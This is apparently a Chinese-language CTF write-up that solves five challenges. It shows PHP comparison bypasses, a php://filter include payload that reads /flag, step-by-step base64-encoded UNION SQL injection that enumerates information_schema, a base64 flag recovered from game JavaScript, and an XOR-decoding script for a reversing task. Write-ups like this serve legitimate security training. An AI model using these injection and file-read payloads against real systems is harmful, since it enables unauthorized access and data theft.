signin

传参GET传递2024，
POST传递nsilab，
Cookie传phpinfo();
然后Ctrl + f搜索flag
得到flag

ezphp

发现要满足三重条件才能得到flag
第一层：

```
if ($a !== $b && md5($a) === md5($b)) {
```

这是一个MD5需要传两个值不同但MD5值相同的数，这里我直接数组绕过，传a[]=a&b[]=b
第二层：

```
if ($c !== 114514 && intval($c) == 114514) {
```

这里要传一个值不是114514但经过intval（）函数转换后是114514的数
我们知道intval（）函数当传递114514e10时只会读取字母前的数字
尝试传114514e10无果，则尝试0114514，这里的0会被忽略
第三层：

```
 if (!preg_match('/nsilab/',$d) && strtolower($d) === "nsilab") {
    if ($file != "/flag"){
                include($file);
```

这里进行正则表达式匹配屏蔽了“nsilab”()小写，又strtolower()会把所以的东西转换为小写，这里要使转换后的东西强等于nsilab，所以传NSILAB绕过
最后，要使得include()函数运行得到flag，传入'file=php://filter/read=convert.base64-encode/resource=/flag' 得到flag

ezgame

访问index.html
代码审计
在调试器中的game.js中有：

```
this.context.font = '48px Microsoft YaHei'
    this.context.fillStyle = '#fff'
    this.context.fillText('恭喜通关全部关卡', 308, 226)
    eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?Str

  }
```

发现“alert|ZmxhZ3t3b3chISEhX3lvdV9yZWFsbHlfa25vd19qc30”是base64编码的，解码发现是flag

sqlhub

这道SQL题是对用户传上来的东西进行base64解密，所以我们要传上去经过base64加密后的命令
先尝试上传1' and 1=1 --+发现无法登录
再尝试上传MSBhbmQgMT0x （1 and 1=1） 和MSBhbmQgMT0y（1 and 1=2）回显不同
说明没有被单引号闭合，同时存在注入点
无法通过order by 查组数，直接用union select试一试,发现有两行
使用union联合注入（传入经过base64编码后的命令）
1 union select 1,database()得到库名为ctf
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf'得到表名有一个flag
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='flag'查到列名有个data
1 union select 1,group_concat(data),from ctf.flag
得到flag

没有F5可言

进入发现无法使用F5查看伪C，把汇编代码扔给GPT，得知flag进行异或，然后分别提取高4位和低四位的值得到的

```
我们在seg001中发现了：
  db    0
seg001:0001                 db 0A0h
seg001:0002                 db  70h ; p
seg001:0003                 db  10h
seg001:0004                 db 0D1h
seg001:0005                 db  75h ; u
seg001:0006                 db  21h ; !
seg001:0007                 db  93h
seg001:0008                 db 0F0h
seg001:0009                 db  51h ; Q
seg001:000A                 db  93h
seg001:000B                 db  41h ; A
seg001:000C                 db  55h ; U
seg001:000D                 db  70h ; p
seg001:000E                 db 0A0h
seg001:000F                 db  75h ; u
seg001:0010                 db 0F1h
seg001:0011                 db  93h
seg001:0012                 db  30h ; 0
seg001:0013                 db  70h ; p
seg001:0014                 db  35h ; 5
seg001:0015                 db 0F1h
seg001:0016                 db  74h ; t
seg001:0017                 db 0B1h
seg001:0018                 db    0
seg001:0019                 db    0
seg001:001A                 db    0
seg001:001B                 db    0
seg001:001C                 db    0
seg001:001D                 db    0
seg001:001E                 db    0
seg001:001F                 db    0
seg001:001F seg001          ends
```

于是使用这个脚本

```python
def reverse_decrypt(encrypted_byte):
    # XOR 恢复
    intermediate = encrypted_byte ^ 0x66  # 使用 XOR 常数 0x66 恢复

    # 提取高半字节和低半字节
    high_nibble = (intermediate >> 4) & 0x0F  # 提取高4位
    low_nibble = intermediate & 0x0F  # 提取低4位

    # 左移和右移的逆向操作：合并高低字节
    decrypted_byte = (low_nibble << 4) | high_nibble  # 恢复原始字节

    return decrypted_byte


# seg001 中的加密数据
encrypted_data = [
    0x70, 0x10, 0xD1, 0x75, 0x21, 0x93, 0xF0, 0x51, 0x93, 0x41, 0x55,
    0x70, 0xA0, 0x75, 0xF1, 0x93, 0x30, 0x70, 0x35, 0xF1, 0x74, 0xB1
]

# 解密过程
decrypted_input = [reverse_decrypt(byte) for byte in encrypted_data]
print("Correct Input:", ''.join(chr(byte) for byte in decrypted_input))
```

得到ag{1t_is_r3al1y_ea5y!}，给前面加上fl，得到flag